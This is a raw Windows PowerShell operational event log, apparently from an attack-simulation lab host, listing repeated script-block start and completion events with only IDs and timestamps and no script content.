SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026261
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026259
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026258
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026237
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026231
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
